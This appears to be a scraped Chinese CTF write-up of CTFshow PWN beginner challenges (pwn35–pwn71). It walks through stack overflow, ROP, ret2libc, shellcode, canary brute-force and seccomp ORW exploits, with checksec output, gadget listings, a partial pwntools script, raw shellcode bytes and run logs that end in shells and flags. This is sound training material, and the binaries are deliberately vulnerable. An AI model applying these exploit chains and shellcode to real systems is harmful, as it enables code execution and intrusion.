$ cyclic 105 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb $ ssh ctfshow@题目地址 -p题目端口号 $./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : See what the program does! * ************************************* Where is flag?
ctfshow{...}
分析过程:
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
char dest; 声明一个名为 dest 的字符变量。 return strcpy(&dest, src); 使用 strcpy 函数将 src 字符串复制到 dest 字符数组中,并返回指向 dest 的指针。strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。
.bss:0804B060 public flag .bss:0804B060 ; char flag[64] .bss:0804B060 flag db 40h dup(?) ; DATA XREF: sigsegv_handler+1D↑o .bss:0804B060 ; main+66↑o .bss:0804B060 _bss ends .bss:0804B060
注意到signal(11, (__sighandler_t)sigsegv_handler);函数
当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出
那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag
$ cyclic 105 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb $ ./pwn aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : See what the program does! * ************************************* Where is flag?
flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) RWX: Has RWX segments
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn37
Hint:32位的 system(“/bin/sh”) 后门函数给你
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32为程序,关闭了栈保护与PIE
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { init(&argc); logo(); puts("Just very easy ret2text&&32bit"); ctfshow(); puts("\nExit"); return0; }
$ python3 exp.py [+] Starting local process './pwn': pid 76 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : It has system and '/bin/sh'.There is a backdoor function * ************************************* Just very easy ret2text&&32bit $ ls ctfshow_flag exp.py pwn
pwn38
Hint:64位的 system(“/bin/sh”) 后门函数给你
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ ROPgadget --binary ./pwn | grep "pop rdi ; ret" 0x00000000004007e3 : pop rdi ; ret
$ python3 exp.py [+] Starting local process './pwn': pid 107 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : It has system and '/bin/sh'.There is a backdoor function * ************************************* Just easy ret2text&&64bit $ ls ctfshow_flag exp.py pwn
pwn39
Hint:32位的 system(); “/bin/sh”
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ objdump -d ./pwn | grep system@plt 080483a0 <system@plt>: 804854f: e8 4c fe ff ff call 80483a0 <system@plt>
$ python3 exp.py [+] Starting local process './pwn': pid 192 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : It has system and '/bin/sh',but they don't work together * ************************************* Just easy ret2text&&32bit $ ls ctfshow_flag exp.py pwn
pwn40
Hint:64位的 system(); “/bin/sh”
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ ROPgadget --binary ./pwn | grep "pop rdi ; ret" 0x00000000004007e3 : pop rdi ; ret
p64(ret) : 这部分使用 p64 函数将 ret 的地址转换为一个8字节的字符串。 ret 是一个返回指令,用于将程序控制权返回到栈上保存的地址。在这个payload中,它被用作一个间接跳转指令,用于绕过栈中的返回地址,以达到执行 system 函数的目的。
p64(system) : 这部分使用 p64 函数将 system 的函数地址转换为一个8字节的字符串。system 是一个函数指针,指向一个可以执行系统命令的函数。最终我们的目的就是通过栈溢出修改返回地址,以控制程序执行流程。它通过调用 pop_rdi 指令将bin_sh 的地址加载到寄存器rdi中,然后通过 ret 指令进行间接跳转,最终调用 system 函数,以执行system(“/bin/sh”)进而获得一个我们想要的shell。
.init:00000000004004FE retn .rodata:0000000000400808 s db '/bin/sh',0 ; DATA XREF: hint+4↑o
$ python3 exp.py [+] Starting local process './pwn': pid 239 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : It has system and '/bin/sh',but they don't work together * ************************************* Just easy ret2text&&64bit $ ls ctfshow_flag exp.py pwn
$ python3 exp.py [+] Starting local process './pwn': pid 263 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : It has system ,but don't have '/bin/sh'.Find something to replace it! * ************************************* $ ls ctfshow_flag exp.py pwn
pwn42
Hint:64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
同上,也仅仅是64位与32位的区别
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret" 0x0000000000400843 : pop rdi ; ret
.init:000000000040053E retn .rodata:0000000000400872 format db 'sh',0 ; DATA XREF: useful+4↑o
$ python3 exp.py [+] Starting local process './pwn': pid 286 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : It has system ,but don't have '/bin/sh'.Find something to replace it! * ************************************* $ ls ctfshow_flag exp.py pwn
$ python3 exp.py [+] Starting local process './pwn': pid 308 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No /CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline("/bin/sh") [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : This time there is no replacement! How to do? * ************************************* $ ls ctfshow_flag exp.py pwn
pwn44
Hint:64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ ROPgadget --binary ./pwn | grep "pop rdi ; ret" 0x00000000004007f3 : pop rdi ; ret
$ python3 exp.py [+] Starting local process './pwn': pid 333 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : This time there is no replacement! How to do? * ************************************* get system parameter! $ ls ctfshow_flag exp.py pwn
pwn45
Hint:32位,无 system 无 “/bin/sh”
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
$ python3 exp.py [+] Opening connection to pwn.challenge.ctf.show on port 28202: Done [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No /CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.recvuntil('O.o?') /CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes write = u32(io.recvuntil('\xf7')[-4:]) 0xf7df06f0 [+] There are multiple libc that meet current constraints : 0 - libc6_2.19-0ubuntu6_amd64 1 - libc6_2.19-0ubuntu4_amd64 2 - libc6_2.19-0ubuntu3_amd64 3 - libc6_2.19-0ubuntu5_amd64 4 - libc-2.36-22.mga9.x86_64 5 - libc6-i386_2.27-3ubuntu1_amd64 6 - libc6_2.17-93ubuntu2_amd64 7 - libc6-i386_2.27-3ubuntu1.3_amd64 8 - libc6-i386_2.27-3ubuntu1.4_amd64 9 - libc6_2.17-93ubuntu4_amd64 [+] Choose one : 5 [*] Switching to interactive mode $ ls bin boot dev etc flag home lib lib32 lib64 media mnt opt proc pwn root run sbin srv sys tmp usr var $ cat flag ctfshow{3315b627-b11a-49c3-a8ba-894839004a7e}
pwn46
Hint:64位 无 system 无 “/bin/sh”
大致思路和上一题一样,不同的是64位的,前面也讲了它们的区别,大差不差
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No $ ROPgadget --binary ./pwn | grep "pop .*; ret" 0x00000000004005b6 : add byte ptr [rax], al ; pop rbp ; ret 0x00000000004005b5 : add byte ptr [rax], r8b ; pop rbp ; ret 0x0000000000400617 : add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000400612 : mov byte ptr [rip + 0x201a4f], 1 ; pop rbp ; ret 0x0000000000400677 : nop ; pop rbp ; ret 0x00000000004005b3 : nop dword ptr [rax + rax] ; pop rbp ; ret 0x00000000004005f5 : nop dword ptr [rax] ; pop rbp ; ret 0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400800 : pop r14 ; pop r15 ; ret 0x0000000000400802 : pop r15 ; ret 0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004005b8 : pop rbp ; ret 0x0000000000400803 : pop rdi ; ret 0x0000000000400801 : pop rsi ; pop r15 ; ret 0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400615 : sbb ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000400614 : sbb r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400803 : pop rdi ; ret 0x0000000000400801 : pop rsi ; pop r15 ; ret
.data:0804B028 public useful .data:0804B028 useful db '/bin/sh',0 ; DATA XREF: main+AF↑o
发现是“/bin/sh”的地址
运行程序尝试看一下:
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : Ez ret2libc! * ************************************* Give you some useful addr:
$ python3 exp.py [+] Starting local process './pwn': pid 333 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode
Start your show time: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\xa4\xdc\xf7 $ ls ctfshow_flag
pwn48
Hint:没有write了,试试用puts吧,更简单了呢
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
$ python3 exp.py [+] Starting local process './pwn': pid 401 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No 0xf7df2140 [*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode $ ls ctfshow_flag
pwn49
Hint:静态编译?或许你可以找找mprotect函数
checksec检查保护
$ chmod +x pwn $ file pwn && checksec pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=db1e246fe40dca2886c2fe54a05b53299506f3fc, not stripped [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
$ checksec --file=./pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No Canary found NX enabled No PIE No RPATH No RUNPATH 2148 Symbols No 0 0 ./pwn
Choose segment to jump(shift+F7),调出程序的段表,将0x80DA000地址开始修改为可读可写可执行
.got.plt 080DA000 080DA044 R W . . L dword 0013 public DATA 32 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 0014 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF .bss 080DB320 080DBFFC R W . . L align_32 0019 public BSS 32 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 0014 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF
为什么是0x80DA000而不是bss段的开头0x80DB320,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
$ python3 exp.py [+] Starting local process './pwn': pid 420 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode $ ls ctfshow_flag
pwn50
Hint:好像哪里不一样了,远程libc环境 Ubuntu 18
可以继续使用ret2libc来完成这题,会更简单
from pwn import * from LibcSearcher import * io=process('./pwn') elf=ELF('./pwn') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] pop_rdi=0x4007e3 ret=0x4004fe#注意是Ubuntu 18,有栈对齐问题 payload=cyclic(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload)
$ python3 exp.py [+] Starting local process './pwn': pid 906 [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : Who are you? * ************************************* Who are you? Wow!you are:IronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronMan.\x90\x04\x08 flag{just_test_my_process}
pwn52
Hint:迎面走来的flag让我如此蠢蠢欲动
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位关闭栈保护与PIE
IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); logo(&argc); puts("What do you want?"); ctfshow(); return0; }
$ python3 exp.py [+] Starting local process './pwn': pid 941 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : You should meet its conditions! * ************************************* What do you want? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x85\x04\x08 flag{just_test_my_process}
pwn53
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
stream = fopen("/canary.txt", "r"); if ( !stream ) { puts("/canary.txt: No such file or directory."); exit(0); } fread(&global_canary, 1u, 4u, stream); return fclose(stream); }
先声明了一个指针变量 stream ,用于表示文件指针。然后,使用 fopen 函数打开名为”/canary.txt” 的文件,以只读模式打开。如果打开失败,即文件不存在或无法打开,程序将输出一条错误信息 “/canary.txt: No such file or directory.” 并调用 exit(0) 终止程序。
$ python3 exp.py b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n' tring... ... ... ... b'here is the flag?\n' The index(0),value(47) b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n' tring... ... ... ... b'here is the flag?\n' The index(1),value(120) b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n' tring... ... ... ... b'here is the flag?\n' The index(2),value(48) b'rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n' tring... ... ... ... b'here is the flag?\n' The index(3),value(48) canary= b'/x00' Where is the flag? flag{just_test_my_process} $
pwn54
Hint:再近一点靠近点快被融化
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
$ python3 exp.py [+] Starting local process './pwn': pid 103 b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3' [*] Process './pwn' stopped with exit code 0 (pid 103) [+] Starting local process './pwn': pid 105 [*] Switching to interactive mode [*] Process './pwn' stopped with exit code 0 (pid 105) ==========CTFshow-LOGIN========== Input your Username: Welcome bit, Input your Password. Welcome! Here's what you want: flag{just_test_my_process} $
pwn55
Hint:你是我的谁,我的我是你的谁
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
$ python3 exp.py [+] Starting local process './pwn': pid 1300 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode flag{just_test_my_process}
pwn56
Hint:先了解一下简单的32位shellcode吧
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stripped: No
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) Stack: Executable Stripped: No
$ python3 exp.py [+] Starting local process './pwn': pid 1340 [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : Use shellcode to get shell! * ************************************* Just very easy ret2shellcode&&32bit Attach it! jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀ $ ls ctfshow_flag
$ python3 exp.py [+] Starting local process './pwn': pid 1371 [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : Use shellcode to get shell! * ************************************* Just very easy ret2shellcode&&64bit Attach it! jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05 $ ls ctfshow_flag
pwn60
Hint:入门难度shellcode
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn61
Hint:输出了什么?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: and64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX diasabled PIE: PIE enabled Stack: Executable RWX: Has RWX segments
$ python3 exp.py [+] Starting local process './pwn': pid 62 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode ? Maybe it's useful ! But how to use it? $ ls ctfshow_flag
pwn63
Hint:又短了一点
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
$ python3 exp.py [+] Starting local process './pwn': pid 80 [*] Switching to interactive mode ? Maybe it's useful ! But how to use it? $ ls ctfshow_flag
pwn64
Hint:有时候开启某种保护并不代表这条路不通
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
.rodata:0000000000400F20 unk_400F20 db 5Ah ; Z ; DATA XREF: check+8↑o .rodata:0000000000400F21 db 5Ah ; Z .rodata:0000000000400F22 db 4Ah ; J .rodata:0000000000400F23 db 20h .rodata:0000000000400F24 db 6Ch ; l .rodata:0000000000400F25 db 6Fh ; o .rodata:0000000000400F26 db 76h ; v .rodata:0000000000400F27 db 65h ; e .rodata:0000000000400F28 db 73h ; s .rodata:0000000000400F29 db 20h .rodata:0000000000400F2A db 73h ; s .rodata:0000000000400F2B db 68h ; h .rodata:0000000000400F2C db 65h ; e .rodata:0000000000400F2D db 6Ch ; l .rodata:0000000000400F2E db 6Ch ; l .rodata:0000000000400F2F db 5Fh ; _ .rodata:0000000000400F30 db 63h ; c .rodata:0000000000400F31 db 6Fh ; o .rodata:0000000000400F32 db 64h ; d .rodata:0000000000400F33 db 65h ; e .rodata:0000000000400F34 db 2Ch ; , .rodata:0000000000400F35 db 61h ; a .rodata:0000000000400F36 db 6Eh ; n .rodata:0000000000400F37 db 64h ; d .rodata:0000000000400F38 db 20h .rodata:0000000000400F39 db 68h ; h .rodata:0000000000400F3A db 65h ; e .rodata:0000000000400F3B db 72h ; r .rodata:0000000000400F3C db 65h ; e .rodata:0000000000400F3D db 20h .rodata:0000000000400F3E db 69h ; i .rodata:0000000000400F3F db 73h ; s .rodata:0000000000400F40 db 20h .rodata:0000000000400F41 db 61h ; a .rodata:0000000000400F42 db 20h .rodata:0000000000400F43 db 67h ; g .rodata:0000000000400F44 db 69h ; i .rodata:0000000000400F45 db 66h ; f .rodata:0000000000400F46 db 74h ; t .rodata:0000000000400F47 db 3Ah ; : .rodata:0000000000400F48 db 0Fh .rodata:0000000000400F49 db 5 .rodata:0000000000400F4A db 20h .rodata:0000000000400F4B db 65h ; e .rodata:0000000000400F4C db 6Eh ; n .rodata:0000000000400F4D db 6Ah ; j .rodata:0000000000400F4E db 6Fh ; o .rodata:0000000000400F4F db 79h ; y .rodata:0000000000400F50 db 20h .rodata:0000000000400F51 db 69h ; i .rodata:0000000000400F52 db 74h ; t .rodata:0000000000400F53 db 21h ; ! .rodata:0000000000400F54 db 0Ah .rodata:0000000000400F55 db 0
‘ZZJ loves shell_code,and here is a gift:’,0Fh,5,’ enjoy it!’,0Ah,0
from pwn import * #提供 p8()(将整数转换为单字节)和 disasm()(反汇编机器码)函数 from itertools import * #提供 product() 函数,用于生成所有可能的字节组合 import re #用于正则表达式匹配,过滤包含内存引用的指令
#[p8(k) for k in range(256)] 生成 0x00 到 0xFF 的所有单字节。 #product(..., repeat=i) 生成这些字节的所有排列组合(如 (0x00), (0x01), ..., (0xFF, 0xFF)) #每个测试序列以 \x00 开头,后接 1~2 个任意字节 for i inrange(1,3): for j in product([p8(k) for k inrange(256)], repeat=i): payload=b"\x00" +b"".join(j) res=disasm(payload) #将机器码转换为汇编指令 if( res != "\t\t..."#排除无法反汇编的空指令 andnot re.search(r"\[\w*?\]",res) #排除包含内存引用的指令 and".byte"notin res #排除非标准指令 ): print(res) #input()
$ python3 exp.py [+] Starting local process './pwn': pid 288 [*] Switching to interactive mode
No you don't understand I say! flag{just_test_my_process} /ctfshowPH\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01\x0f\x05j\x01_jdZ\xbe\x01\x01\x01\x01\x81\xf6\x011\x13\x01j\x01X\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00
pwn70
Hint:可以开始你的个人秀了 flag文件位置为/flag
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
64位程序部分开启RELRO,开启栈保护 告诉了我们flag文件位置,hint中还是让我们用ORW读flag,* Hint : Try use ‘ORW’ to get flag
查看沙箱的情况:
$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
$ python3 exp.py [+] Opening connection to pwn.challenge.ctf.show on port 28120: Done [*] Switching to interactive mode ctfshow{ba63d73f-2089-4a82-abf9-41f8e47b418d} timeout: the monitored command dumped core [*] Got EOF while reading in interactive $
pwn71
Hint:32位的ret2syscall
checksec检查保护
$ chmod +x pwn $ checksec pwn && file pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
32位关闭栈保护与PIE,同时能看出是静态编译
IDA查看main函数:
